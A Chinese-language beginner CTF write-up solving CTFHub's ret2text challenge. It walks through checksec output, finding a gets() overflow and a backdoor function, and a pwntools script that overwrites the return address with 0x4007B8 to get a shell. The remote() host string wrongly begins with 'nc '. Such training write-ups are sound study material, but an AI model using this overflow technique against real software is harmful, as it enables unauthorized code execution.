PWN入门-ret2text-1
Fri Sep 13 2024
什么是ret2text?
ret2text就是控制返回地址指向本身已经有的代码并执行他们
就是说给的程序自身就带有后门函数,通过栈溢出的方式,修改返回地址到后门函数上并执行程序
解题
本题出处为CTFHub技能数上的ret2text
checksec
首先需要使用checksec命令分析二进制文件
SH
1234567891011
checksec --file=/pwn/pwn
[*] '/pwn/pwn'
Arch: amd64-64-little # Arch 指示文件结构 这里是amd64-64-little 表示为64位的Little Endian架构
RELRO: Partial RELRO # RELRO 指示 RELRO (Relocation Read-Only) 的设置程度。
# Partial RELRO 表示部分重定位只读,即某些重定位表被标记为只读,但不是所有的
Stack: No canary found # Stack 提供了关于堆栈保护措施的信息 "No canary found" 表示在堆栈上没有找到堆栈保护
NX: NX unknown - GNU_STACK missing # 表示是否启用了不可执行堆栈 (NX),从输出来看,无法确定是否启用
PIE: No PIE (0x400000) # 指示是否启用了位置独立执行 (PIE)。"No PIE" 表示没有启用 PIE,即代码的位置在运行时不会发生变化
Stack: Executable # Stack 再次提到堆栈的属性。"Executable" 表示堆栈是可执行的,这通常不是最佳实践,因为堆栈应该是不可执行的以防止执行代码注入攻击
RWX: Has RWX segments # 指示是否存在可读、可写、可执行 (RWX) 的段。"Has RWX segments" 表示文件中存在一些段是可读写可执行的
Stripped: No # Stripped "No" 表示文件没有被剥离 (Stripped)
这里可以看到Stack是 “No canary found” 可以考虑使用栈溢出来解题
IDA
打开IDA进行反编译
这里可以看到他使用了get(s)存在栈溢出
让数据超过了本来存放的地址,造成了栈溢出
输入多少数据可以超出本来存放的地址?
可以看到在IDA里已经说了,到rbp是0x70
但是rbp是栈底寄存器,它也占8个字符(在64位),所以说我们需要把rbp也覆盖掉,也就是0x70+8
发现存在secure函数,可以获得shell权限。
如果我们的main函数返回跳转到secure函数内部的4007B8的位置,也可以直接获得shell权限
编写Python脚本
首先执行一次二进制文件判断断点位置
发现输出“Welcome to CTFHub ret2text.Input someting:”可以将此字符作为python脚本的断点
编写exp.py
PYTHON
123456789
from pwn import * # 导入库
#io=process("./pwn") # 本地连接
io=remote("nc challenge-c9c0f57a24de9719.sandbox.ctfhub.com",38417) # 远程连接
#gdb.attach(io,'b main')
io.recvuntil(b"Welcome to CTFHub ret2text.Input someting:\n") # 定义程序接收到什么地方为止
payload=b'a'*(0x70+8)+p64(0x4007B8) # 攻击本体
# io.send # 没有回车
io.sendline(payload) # 发送攻击体
io.interactive() #结束交互
payload=b’a’*(0x70+8)+p64(0x4007B8) 首先,b ‘a’ * (0x70 + 8) 是在缓冲区中填充 0x70+8 个字符 ‘a’,去造成栈溢出 接着,p64(0x4007B8) 将地址 0x4007B8 以64位格式转换并追加到填充后面,完成修改返回地址到后门函数上并执行程序
获取flag
如果输出… EOF …,说明失败了
成功